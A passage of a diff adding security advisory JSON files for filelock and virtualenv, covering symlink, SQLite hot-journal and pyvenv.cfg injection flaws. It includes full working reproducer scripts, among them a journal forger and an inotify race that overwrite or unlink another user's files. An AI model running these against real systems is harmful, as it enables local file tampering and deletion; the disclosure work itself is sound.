`cache.lock.db` (`0666`, so the lock user's lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -> /tmp/victim-notes.txt`. The lock user's `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user's descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock's checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor's `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM -> \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database's header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `-journal`, `-wal` and `-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user's empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user's next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite's `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user's `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `-shm` with the database's permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user's own empty `0600` database, a non-empty `-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user's file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file's owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises `file is not a database`). A hard link to the lock user's `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root's `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after root's `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite's main file is `.filelock-…/lock.db` in the connecting user's `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n if os.path.lexists(leftover):\n os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n [sys.executable, \"-c\", \"import sys; open(sys.argv[1], 'r+b')\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n victim = subprocess.run(\n [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n )\n with open(target, \"rb\") as notes:\n after = notes.read()\n if after != original:\n break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim's notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1 # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\">IIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1 # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200\nchecksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF\nrecord = struct.pack(\">I\", page_number) + page_image + struct.pack(\">I\", checksum)\n\nwith open(journal_path, \"wb\") as journal:\n journal.write(header.ljust(sector_size, b\"\\0\") + record)\nos.chmod(journal_path, 0o666) # the victim's SQLite opens a hot journal O_RDWR\n```\n\n**`repro.d/redirect_lock_db.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: make the victim's SQLite, connecting through /proc/self/fd/, open TARGET instead of LOCK_DB.\"\"\"\n\nimport ctypes\nimport os\nimport sys\n\nlock_db, target = sys.argv[1], sys.argv[2]\nspare_name = lock_db + \".keep\"\n\n# the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it\nos.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))\nos.chmod(lock_db, 0o666)\nos.link(lock_db, spare_name)\n\n# what /proc//fd/ reads back as once the name the descriptor was opened through is unlinked\nos.symlink(target, lock_db + \" (deleted)\")\n\nIN_OPEN = 0x20\nlibc = ctypes.CDLL(None, use_errno=True)\ninotify = libc.inotify_init1(0)\nif libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:\n raise OSError(ctypes.get_errno(), \"inotify_add_watch\", lock_db)\nprint(\"ready\", flush=True)\n\nwhile True:\n os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor\n os.unlink(lock_db)\n os.link(spare_name, lock_db) # the same inode back at the path, so filelock's later lstat sees no change\n```\n\n**`repro.d/victim_app.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The victim: an application that takes its shared read lock once, as in docs/how-to.rst.\"\"\"\n\nimport sys\n\nfrom filelock import ReadWriteLock\n\nrw = ReadWriteLock(sys.argv[1])\nwith rw.read_lock(timeout=5):\n pass\n```\n\n## Attack sequence\n\nThe redirect, with `A` the other local user:\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant V as lock user's process (filelock)\n participant S as SQLite inside that process\n participant K as kernel and filesystem\n rect rgb(255, 214, 214)\n Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit\n A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep\n A->>K: symlink \"cache.lock.db (deleted)\" pointing at /tmp/victim-notes.txt\n A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)\n V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL\n K-->>A: inotify IN_OPEN on cache.lock.db\n A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)\n V->>S: sqlite3.connect(\"/proc/self/fd/3\")\n S->>K: readlink(/proc/self/fd/3) returns \"cache.lock.db (deleted)\"\n S->>K: open(\"cache.lock.db (deleted)\") follows the symlink to victim-notes.txt\n V->>S: PRAGMA journal_mode=MEMORY\n S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt\n Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees \"disk I/O error\"\n V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes\n end\n```\n\nThe side-file variants, which need no redirect:\n\n```mermaid\nflowchart TD\n B0[\"acquire validates fd, connects SQLite by a name in the shared directory\"] --> B1{\"what did the other user put beside the real path?\"}\n B1 -- \"hot -journal beside a swapped-in one-page database\" --> B2[\"PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds\"]\n B1 -- \"-wal re-created between PRAGMA and BEGIN\" --> B3[\"holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated\"]\n B1 -- \"-wal in a sticky directory the lock user cannot unlink\" --> B4[\"every acquire raises OperationalError disk I/O error, timeout ignored\"]\n B1 -- \"name unlinked and a (deleted) symlink planted\" --> B5[\"SQLite opens the symlink target with O_CREAT\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class B0,B1 info;\n class B2,B3,B4,B5 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b'original victim notes\\n'`, after `b\"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\\x00...\"`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.\n\nOur verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.\n\n## Impact\n\nAnother local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `-journal` beside it (the lock user's own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user's other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.\n\nIt is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at ` (deleted)`. Windows does not take this path.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.\n- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `-wal` beside the database that the file's owner or root has to remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112940" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113715.json b/advisories/BREW-conda-lock-CVE-2026-113715.json new file mode 100644 index 00000000000..d6299adc498 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113715.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113715", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-qmx5-4p3x-wvqf", + "BIT-virtualenv-2026-113715", + "CVE-2026-113715" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries", + "details": "## Summary\n\nThe venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv's readback, not from the standard library's initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant S as stdlib venv\n participant V as virtualenv readback\n participant C as Final pyvenv.cfg\n participant P as Environment Python\n A->>S: path contains U+2028 and home = /attacker/chosen\n S->>C: write path inside command value\n V->>C: read with splitlines()\n V->>V: parse suffix as separate keys\n V->>C: rewrite home and include-system-site-packages\n P->>C: read injected keys on startup\n C-->>P: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker's input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n # split on \"\\n\" only, as the interpreter does\n return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg\n probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0: # refusing such a destination is a valid fix\n print(\"virtualenv refused the destination\")\n print(\"OK\")\n raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n print(\" \" + ascii(line))\nprint(f\"CONTROL python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n print(\" \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3426" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113716.json b/advisories/BREW-conda-lock-CVE-2026-113716.json new file mode 100644 index 00000000000..4b4c4a5bfb5 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113716.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113716", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-cw65-gx24-rc82", + "BIT-virtualenv-2026-113716", + "CVE-2026-113716" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Builtin creation follows linked environment directories", + "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.\nWith the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, 